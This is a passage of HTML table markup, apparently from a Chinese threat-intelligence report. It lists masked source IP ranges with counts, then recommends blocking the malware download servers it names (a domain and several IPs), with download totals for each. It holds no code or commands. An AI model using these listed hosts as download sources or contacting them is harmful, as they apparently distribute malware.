solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">11<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:5;height:9.6pt">
<td width="128" nowrap="" valign="bottom" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="color:black">1.13.</span><span lang="EN-US"> *.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="85" nowrap="" valign="bottom" style="width:63.8pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">105<o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.1pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">11<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:6;height:9.6pt">
<td width="128" nowrap="" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US">35.225. *.*<o:p></o:p></span></b></p>
</div>
</td>
<td width="85" nowrap="" style="width:63.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">756</span></p>
</td>
<td width="123" nowrap="" style="width:92.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">10</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:7;height:9.6pt">
<td width="128" nowrap="" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:4"><b><span lang="EN-US">52.131. *.*<o:p></o:p></span></b></p>
</div>
</td>
<td width="85" nowrap="" style="width:63.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">2,946</span></p>
</td>
<td width="123" nowrap="" style="width:92.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">10</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:8;height:9.6pt">
<td width="128" nowrap="" valign="bottom" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">81.70.</span><span lang="EN-US"> *.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="85" nowrap="" valign="bottom" style="width:63.8pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">764<o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.1pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">10<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:9;mso-yfti-lastrow:yes;height:9.6pt">
<td width="128" nowrap="" valign="bottom" style="width:95.75pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="color:black">101.34.</span><span lang="EN-US"> *.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="85" nowrap="" valign="bottom" style="width:63.8pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">780<o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.1pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">10<o:p></o:p></span></p>
</td>
</tr>
</tbody></table>
</div><!--kg-card-end: html--><p>下面是恶意软件的下载URL中提取的下载服务器的IP/域名，建议屏蔽：</p><!--kg-card-begin: html--><div align="center">
<table class="MsoTable15Grid4Accent3" border="1" cellspacing="0" cellpadding="0" width="0" style="width:355.5pt;border-collapse:collapse;border:none;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt">
<tbody><tr style="mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;
height:9.6pt">
<td width="159" nowrap="" valign="top" style="width:119.25pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;
mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:5"><strong><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">域名</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt">/IP</span></strong><strong><span style="mso-bidi-font-size:12.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:
0pt">地址</span></strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:
bold"><o:p></o:p></span></p>
</td>
<td width="88" nowrap="" valign="top" style="width:66.0pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><strong><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">源</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt">IP</span></strong><strong><span style="mso-bidi-font-size:12.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:
0pt">数量</span></strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:
bold"><o:p></o:p></span></p>
</td>
<td width="140" nowrap="" valign="top" style="width:105.1pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><strong><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">恶意软件家族</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt"><o:p></o:p></span></strong></p>
</td>
<td width="87" nowrap="" valign="top" style="width:65.15pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;
mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><strong><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">下载次数</span></strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:0;height:9.6pt">
<td width="159" nowrap="" style="width:119.25pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><strong><span lang="EN-US">oracle.zzhreceive.top<o:p></o:p></span></strong></p>
</div>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">1,782</span></p>
</td>
<td width="140" nowrap="" style="width:105.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">9</span></p>
</td>
<td width="87" nowrap="" style="width:65.15pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">263,116</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:1;height:9.6pt">
<td width="159" nowrap="" style="width:119.25pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><strong><span lang="EN-US">112.253.11.38</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</div>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">1,415</span></p>
</td>
<td width="140" nowrap="" style="width:105.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">1</span></p>
</td>
<td width="87" nowrap="" style="width:65.15pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">28,160</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:2;height:9.6pt">
<td width="159" nowrap="" style="width:119.25pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><strong><span lang="EN-US">194.87.139.103</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</div>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">772</span></p>
</td>
<td width="140" nowrap="" style="width:105.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">3</span></p>
</td>
<td width="87" nowrap="" style="width:65.15pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">52,833</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:3;height:9.6pt">
<td width="159" nowrap="" style="width:119.25pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><strong><span lang="EN-US">45.133.203.192</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</div>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">735</span></p>
</td>
<td width="140" nowrap="" style="width:105.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">3</span></p>
</td>
<td width="87" nowrap="" style="width:65.15pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
